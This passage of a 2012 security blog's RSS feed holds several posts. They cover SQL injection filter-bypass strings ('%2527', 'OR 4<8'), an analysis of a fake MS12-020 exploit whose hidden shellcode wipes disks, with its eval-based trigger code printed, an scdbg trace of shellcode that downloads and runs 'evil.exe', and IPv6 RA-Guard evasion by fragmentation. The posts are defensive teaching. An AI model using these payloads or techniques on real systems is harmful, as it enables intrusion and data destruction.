<p>Some times you will notice that the application (or some intermediate component) filters for characters like an apostrophe or an equal sign. In such a case you should try different encodings and combinations of encodings to bypass such filtering. If you communicate over HTTP with the server, URL encoded strings can be helpful. Try &#8220;<code>%27</code>&#8221; instead of &#8220;<code>'</code> &#8221;or several iterations like &#8220;<code>%2527</code>&#8220;, &#8220;<code>%252527</code>&#8220;, .. (&#8220;<code>%25</code>&#8221; is the URL encoded value of the percent sign). Especially on numeric comparisons you could use the lower or greater sign instead of the equal sign. An &#8220;<code>OR 4&lt;8</code>&#8221; should also be evaluated to true like the standard signatures &#8220;<code>OR 1=1</code>&#8221; (which sometimes is filtered).</p>
<p>Choosing the right tool chain is crucial for detecting and exploiting SQL injections. For example the basic requirement for all injections is the complete control over the input values. A fat client or Ajax application which is communicating with a server may have some validation mechanisms, but the server itself accepts all input strings. In such a case it&#8217;s important to send the requests using a proxy or something similar, which allows to send every modified value. One of the more powerful tools is the BurpSuite web proxy from <a href="http://www.portswigger.net/">Portswigger</a>. The BurpSuite acts as a proxy between the web browser and the web server, logging all requests and responses. In addition to an automated scanner it includes a repeater and a kind of automated repeater (called intruder). With the repeater you are able to send any inputs without restrictions on the client side. The intruder allows to iterate over multiple attack strings and compare the results.</p>
<p>In general every tool can be used which does not prevent you from sending malicious data. Automated tools like scanners or injection frameworks like sqlmap or sqlninja can help to find so called low hanging fruits, but they will never provide the same results as extensive manual testing.</p>
<p>To be continued &#8230;</p>
<p>Have a great day and enjoy trying it for yourself <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
Michael, Timo and Frank from the Appsec Team</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Slides from Troopers Telco Sec Day Online</title>
		<link>http://www.insinuator.net/2012/05/slides-from-troopers-telco-sec-day-online/</link>
		<comments>http://www.insinuator.net/2012/05/slides-from-troopers-telco-sec-day-online/#comments</comments>
		<pubDate>Mon, 14 May 2012 11:23:19 +0000</pubDate>
		<dc:creator>erey</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1167</guid>
		<description><![CDATA[As I mentioned the Telco Sec Day in the last post&#8230; for those who missed Flo&#8217;s announcement: in the interim all slides of the Telco Sec Day are available online here. Obviously, given I initiated the event, I&#8217;m biased but to me it provided great insight from both the talks and the networking with other [...]]]></description>
			<content:encoded><![CDATA[<p>As I mentioned the Telco Sec Day in the last post&#8230; for those who missed Flo&#8217;s announcement: in the interim all slides of the Telco Sec Day are available online <a href="http://www.troopers.de/archives/troopers12/downloads/">here</a>.</p>
<p>Obviously, given I initiated the event, I&#8217;m biased <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  but to me it provided great insight from both the talks and the networking with other guys from the telco security field, and it did actually what it was meant for: fostering the exchange between different players in that space, for the sake of sustainably improving its&#8217; overall security posture.</p>
<p>A number of participants suggested performing it again which we hence plan to do, at next year&#8217;s Troopers (probably happening in the week 03/12-03/16 [calendar week 11]).</p>
<p>See you there, all the best</p>
<p>Enno</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/05/slides-from-troopers-telco-sec-day-online/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IPv6 Privacy Extensions</title>
		<link>http://www.insinuator.net/2012/05/ipv6-privacy-extensions/</link>
		<comments>http://www.insinuator.net/2012/05/ipv6-privacy-extensions/#comments</comments>
		<pubDate>Mon, 14 May 2012 11:07:21 +0000</pubDate>
		<dc:creator>erey</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[IPv6]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1164</guid>
		<description><![CDATA[Last week Christopher Werny and I gave a talk on IPv6 Privacy Extensions at the Heise IPv6 Kongress. As our slides were not included in the event&#8217;s material here&#8217;s the presentation&#8217;s slide deck. As in 2011 we really liked the conference; there was a number of interesting talks and we met quite some fellows from [...]]]></description>
			<content:encoded><![CDATA[<p>Last week Christopher Werny and I gave a talk on IPv6 Privacy Extensions at the <a href="http://www.ipv6-kongress.de/">Heise IPv6 Kongress</a>. As our slides were not included in the event&#8217;s material <a href="http://ernw.de/download/ERNW_Privacy_Extensions.pdf">here&#8217;s the presentation&#8217;s slide deck</a>.</p>
<p>As <a href="http://www.insinuator.net/2011/05/yet-another-update-on-ipv6-security-some-notes-from-the-ipv6-kongress-in-frankfurt/">in 2011</a> we really liked the conference; there was a number of interesting talks and we met quite some fellows from the IPv6 security space. Btw: we plan to organize a dedicated IPv6 security summit in late 2012 (probably on 6th and 7th of November) in Heidelberg, similar to the <a href="http://www.troopers.de/archives/troopers12/agenda/telcosec-day/">Telco Sec Day</a> at Troopers. We&#8217;ll annouce details as for this one in some weeks.</p>
<p>Stay tuned &amp; have a great week everybody</p>
<p>Enno</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/05/ipv6-privacy-extensions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Untrusted code or why exploit code should only be executed by professionals</title>
		<link>http://www.insinuator.net/2012/04/untrusted-code-or-why-exploit-code-should-only-be-executed-by-professionals/</link>
		<comments>http://www.insinuator.net/2012/04/untrusted-code-or-why-exploit-code-should-only-be-executed-by-professionals/#comments</comments>
		<pubDate>Sun, 22 Apr 2012 18:26:39 +0000</pubDate>
		<dc:creator>mthumann</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[MS12-020]]></category>
		<category><![CDATA[Untrusted Code]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1144</guid>
		<description><![CDATA[In march 2012 Microsoft announced a critical vulnerability (Microsoft Security Bulletin MS12-020) related to RDP that affects all windows operating systems and allows remote code execution. A lot of security professionals are expecting almost the same impact as with MS08-067 (the conficker vulnerability) and that it will be only a matter of time, until we [...]]]></description>
			<content:encoded><![CDATA[<p>In march 2012 Microsoft announced a critical vulnerability (<a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">Microsoft Security Bulletin MS12-020</a>) related to RDP that affects all windows operating systems and allows remote code execution. A lot of security professionals are expecting almost the same impact as with MS08-067 (the conficker vulnerability) and that it will be only a matter of time, until we will spot reliable exploits in the wild. Only a few days later an exploit, working for all unpatched windows versions was released, so it seems that they were right <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> , but of course no one will run an exploit without investigating the code. So lets have a look into the exploit Code.</p>
<p>First we take a look into the Microsoft advisory to get some information about the vulnerability itself:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/04/ms12-020.png"><img class="alignnone  wp-image-1139" title="ms12-020" src="http://www.insinuator.net/wp-content/uploads/2012/04/ms12-020.png" alt="" width="557" height="63" /></a></p>
<p>The vulnerability requires some &#8220;specifically crafted RDP packets&#8221; to be sent to the vulnerable system to trigger the problem. We should spot this trigger in the exploit:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/04/shellcode.png"><img class="alignnone  wp-image-1142" title="shellcode" src="http://www.insinuator.net/wp-content/uploads/2012/04/shellcode.png" alt="" width="540" height="345" /></a></p>
<p>OK, the trigger is there and we also see some shellcode, that will open a bindshell on TCP port 8888. The next step is to figure out, what the exploit is doing with this code:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/04/convert.png"><img class="alignnone  wp-image-1137" title="convert" src="http://www.insinuator.net/wp-content/uploads/2012/04/convert.png" alt="" width="540" height="345" /></a></p>
<p>The exploit code converts a lot of opcodes to the big endian format, that looks reasonable because the exploit claims to work on all affected windows versions. The last step is to verifiy, how all the stuff is sent to the vulnerable system:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/04/attack.png"><img class="alignnone  wp-image-1136" title="attack" src="http://www.insinuator.net/wp-content/uploads/2012/04/attack.png" alt="" width="540" height="345" /></a></p>
<p>We see that target IP address and the RDP port are assigned and collected from the command line, the RDP packet is generated and the &#8220;specifically crafted RDP packets&#8221; are sent to the target.Finally the shellcode is sent and we are ready to connect to a remote shell that listens on TCP port 8888. Game over <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>We have verified the exploit, so it&#8217;s time now to run it against some unpatched test system and see, if we can compromise all these unpatched boxes out there &#8230;</p>
<p>&#8230;JUST KIDDING, never ever do that and I&#8217;m not talking about the legal issues this time <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . It is a quite common mistake by unexperienced testers to work in this way. The exploit code was gathered from an untrusted source, so it needs detailed investigations before you run it, not just a short walk-through. You have to ensure that you understand every line of code completely to avoid being targeted by yourself, even the shellcode and the trigger of the rdp example. So let&#8217;s digg a little bit deeper into this.</p>
<p>First we have to extract the shellcode and trigger (the opcodes) from the exploit for further analysis. I prefer a special editor for this task that has all needed functionality (and much more <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ) built-in. It&#8217;s a commercial tool called &#8220;010 Editor&#8221; that can be obtained <a href="http://www.sweetscape.com/010editor/">here</a> and is available as a windows and MAC OS X version.</p>
<p><strong>Step 1</strong><br />
Copy just the trigger opcodes into a dedicated text file, don&#8217;t forget to remove the double quotes. The text files should look almost like this:</p>
<p>trigger:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/04/trigger-txt.png"><img class="alignnone size-full wp-image-1143" title="trigger-txt" src="http://www.insinuator.net/wp-content/uploads/2012/04/trigger-txt.png" alt="" width="464" height="449" /></a></p>
<p>and shellcode:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/04/shellcode-txt.png"><img class="alignnone size-full wp-image-1141" title="shellcode-txt" src="http://www.insinuator.net/wp-content/uploads/2012/04/shellcode-txt.png" alt="" width="579" height="225" /></a></p>
<p><strong>Step 2</strong><br />
Use the editors replace function to replace &#8220;\x&#8221; with &#8220;0x&#8221; for the trigger and shellcode text files. Take the shellcode as an example, how the opcodes should look now:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/04/shellcode-replaced.png"><img class="alignnone size-full wp-image-1140" title="shellcode-replaced" src="http://www.insinuator.net/wp-content/uploads/2012/04/shellcode-replaced.png" alt="" width="579" height="224" /></a></p>
<p><strong>Step 3</strong><br />
Mark all this hex data and copy it to the clipboard.</p>
<p><strong>Step 4</strong><br />
Choose &#8220;File-New-New Hex File&#8221; from the &#8220;010 Editors&#8221; menu to create an empty hex file.</p>
<p><strong>Step 5</strong><br />
Now choose &#8220;Edit-Paste From-Paste from Hex Text&#8221; to paste the data as hex data into the new hex file.</p>
<p><strong>Step 6</strong><br />
Save both files (trigger and shellcode) as trigger.sc and shellcode.sc</p>
<p>Now we would be ready to analyze the opcodes with some toolset, but I assume that all of you already spotted some very interesting stuff within the shellcode part <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> :</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/04/exec.png"><img class="alignnone size-full wp-image-1138" title="exec" src="http://www.insinuator.net/wp-content/uploads/2012/04/exec.png" alt="" width="566" height="273" /></a></p>
<p>Yes, it looks like the shellcode doesn&#8217;t open a bindshell, it just erases parts of your hard drive on windows and your complete root partition on unix.</p>
<p>This is really GAME OVER, if you would have run the exploit without a detailed analysis on a productive system. This code is referenced with the following code:</p>
<p><code>def __init__(self, payload, shellcode):<br />
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)<br />
self.payload = payload<br />
self.table = __import__("__builtin__").__dict__<br />
self.shellcode = shellcode</code></p>
<p>and then executed using this code:</p>
<p><code>seeker = (struct.pack("&gt;I", 0x6576616c)<br />
...<br />
read = self.table[seeker[0]]<br />
return str(read(shellcode)), parsed<br />
</code><br />
But in case that the shellcode wouldn&#8217;t have been so easily readable, there are more options for an easy analysis. Based on the shellcode emulation library libemu there are some tools available to find out what the shellcode is doing without reverse engineering it. SCDBG is one that runs on all unix based systems and also on windows, you can grab it <a href="http://sandsprite.com/blogs/index.php?uid=7&amp;pid=152">here</a>.</p>
<p>Let us see how SCDBG works with a short example shellcode:<br />
<code>scdbg -f UrlDownloadToFile.sc<br />
Loaded 150 bytes from file UrlDownloadToFile.sc<br />
Initilization Complete..<br />
Max Steps: 2000000<br />
Using base offset: 0x401000<br />
40104bLoadLibraryA(urlmon)<br />
40107aGetTempPath(len=104, buf=12fce4)<br />
4010b2URLDownloadToFile(http://blahblah.com/evil.exe0, C:\%TEMP%\dEbW.exe)<br />
4010bdWinExec(c:\%TEMP%\dEbW.exe)<br />
4010cbExitProcess(626801251)</code></p>
<p>Stepcount 293883</p>
<p>So the example shellcode downloads a malicious file and executes it, let&#8217;s have a look at our shellocde now:<br />
<code>scdbg -f shellcode.sc<br />
Loaded 10d bytes from file shellcode.sc<br />
Initilization Complete..<br />
Max Steps: 2000000<br />
Using base offset: 0x401000<br />
401002opcode 69 not supported</code></p>
<p>Stepcount 2</p>
<p>SCDBG fails to analyze the shellcode (for obvious reasons as we already know), so you can take this result as a good hint, that some stuff is hidden in the code and that you better shouldn&#8217;t run it.</p>
<p><strong>Lessons learned</strong></p>
<p>So finally, let&#8217;s summarize some lessons that every serious penetration tester should be aware of:</p>
<p>1. Never run any untrusted code (especially exploits) without a detailed analysis.<br />
2. Ensure that you understand every line of code and this also includes the shellcode.<br />
3. Before using untrusted code in a real pentest, verify it in a test environment (virtual machines are a good choice for that).<br />
4. When using exploits on customer systems be aware that you&#8217;re running it on one of the assets of your customer! Don&#8217;t do that without your customers permission!<br />
5. Your customer trusts your professional knowledge, so it&#8217;s your responsibility to avoid damaging any of your customers systems by mistake.</p>
<p>So happy practicing and enjoy your week <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/04/untrusted-code-or-why-exploit-code-should-only-be-executed-by-professionals/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Story Continues – Another IPv6 Update</title>
		<link>http://www.insinuator.net/2012/03/the-story-continues-another-ipv6-update/</link>
		<comments>http://www.insinuator.net/2012/03/the-story-continues-another-ipv6-update/#comments</comments>
		<pubDate>Thu, 29 Mar 2012 23:22:21 +0000</pubDate>
		<dc:creator>cwerny</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[IPv6]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1073</guid>
		<description><![CDATA[TROOPERS12 came to an end last week on Friday; needless to say it was an awesome  event. The first two days offered workshops on various topics. On Monday Enno, Marc “Van Hauser” Heuse and I gave a one day workshop on “Advanced IPv6 Security”.  I think attendees as well as trainers had a real good [...]]]></description>
			<content:encoded><![CDATA[<p>TROOPERS12 came to an end last week on Friday; needless to say it was an awesome  event. <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /><br />
The first two days offered workshops on various topics. On Monday Enno, <a href="http://mhsec.de/">Marc “Van Hauser” Heuse</a> and I gave a one day workshop on “Advanced IPv6 Security”.  I think attendees as well as trainers had a real good time during and after the workshop fiddling around with IPv6. Especially Marc had quite some fun as he discovered that we provided “global” IPv6 Connectivity for the conference network, and according to one of his tweets, TROOPERS12 was the first security conference he visited, offering this kind of connectivity.</p>
<p>So back to the topic</p>
<p>Our last posts on IPv6 Security go back to the first half of 2011. If you haven’t read them already, now it&#8217;s a good time to do so. You can find them <a href="http://www.insinuator.net/2011/01/ipv6-security-part-1-ra-guard-the-theory-3/">here</a>, <a href="http://www.insinuator.net/2011/03/ipv6-security-part-2-ra-guard-%E2%80%93-lets-get-practical/">here</a>, <a href="http://www.insinuator.net/2011/03/ipv6-security-%E2%80%92-the-story-continues/">here</a> and <a href="http://www.insinuator.net/2011/05/yet-another-update-on-ipv6-security-some-notes-from-the-ipv6-kongress-in-frankfurt/">here</a>.</p>
<p style="text-align: justify;">In the last post of the series Enno discussed how RA-Guard can be circumvented with clever use of extension headers. As a short reminder, the packet dump looks like this.</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2011/05/thc_wireshark_over.png"><img class="alignleft size-full wp-image-408" title="thc_wireshark_over" src="http://www.insinuator.net/wp-content/uploads/2011/05/thc_wireshark_over.png" alt="" width="550" height="100" /></a><br />
The Information of the upper-layer protocol is only present in the second fragment, so RA Guard does not kick in.</p>
<p>As we found out on the Heise IPv6 Kongress last year, this issue can be mitigated with the following parameter in an IPv6 ACL.</p>
<pre><strong>deny ipv6 any any undetermined-transport</strong></pre>
<p style="text-align: justify;">As a reminder, this parameter drops all IPv6 packets where the upper-layer protocol information cannot be determined.</p>
<p style="text-align: justify;">After the workshop was officially over, Marc and I played a little bit with this ACL Parameter to see if it is working as intended. So I configured the following IPv6 ACL on our beautiful Cisco 4948E:</p>
<pre>4948E(config)#ipv6 access-list IPv6</pre>
<pre>4948E(config-ipv6-acl)#deny ipv6 any any undetermined-transport</pre>
<pre>4948E(config-ipv6-acl)#permit ipv6 any any</pre>
<pre>4948E(config)#interface g1/19</pre>
<pre>4948E(config-if)#ipv6 traffic-filter IPv6 in</pre>
<p>We started the attack again with the following parameter:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/03/flood_router61.png"><img class="alignleft size-full wp-image-1102" title="flood_router6" src="http://www.insinuator.net/wp-content/uploads/2012/03/flood_router61.png" alt="" width="600" height="54" /></a></p>
<p>Apparently nothing happened with my (IPv6 enabled) laptop (which is a good thing <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )</p>
<p>The corresponding packet dump looked quite unspectacular:</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/03/wireshark_undetermined_transport.png"><img class="alignleft size-full wp-image-1103" title="wireshark_undetermined_transport" src="http://www.insinuator.net/wp-content/uploads/2012/03/wireshark_undetermined_transport.png" alt="" width="600" height="150" /></a></p>
<p>Only the STP packets could be seen, and the flooded router advertisements were dropped by the Switch.</p>
<p>So could this parameter solve the issue with the whole RA mess?</p>
<p style="text-align: justify;">Unfortunately the answer is <em>no</em>. The ACL parameter does mitigate the issue with the fragmented router advertisement. However, the ACL parameter can be circumvented by using overlapping fragments. Unfortunately we couldn’t test this scenario because this wasn’t yet implemented in the THC Tool Suite, but this is just a matter of time&#8230;</p>
<p>The IPv6 Packet  basically looks like this:</p>
<pre>Fragment 1:</pre>
<pre>IPv6 Header</pre>
<pre>Fragmentation Header</pre>
<pre>Destination Header (8 bytes)</pre>
<pre>ICMPv6 with Echo Request</pre>
<pre>Fragment 2:</pre>
<pre>IPv6 Header</pre>
<pre>Fragmentation Header with offset == 1 (equals position of 8th byte ==</pre>
<pre>start of Echo Request in first fragment)</pre>
<pre>ICMPv6 with RA</pre>
<p>&nbsp;</p>
<p>In this case it depends on the operating system whether or not the packet is discarded when overlapping fragments are detected. <a href="http://tools.ietf.org/rfc/rfc5722.txt">RFC 5722</a> is very specific on how these should be handled:</p>
<pre>“When reassembling an IPv6 datagram, if one or more its
constituent fragments is determined to be an overlapping
fragment,the entire datagram (and any constituent fragments,
including those not yet received) MUST be silently discarded.”</pre>
<p>So it is up to the operating system to implement this behavior. We’ll see how things work out <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>If you&#8217;re interested in more IPv6 issues, or simply wanna chat about this topic, meet Enno and me again at the  <a href="http://www.ipv6-kongress.de/">Heise IPv6 Kongress</a> this year in Frankfurt, where we will give a talk on IPv6 as well.</p>
<p>Have great day,<br />
Chris</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/03/the-story-continues-another-ipv6-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

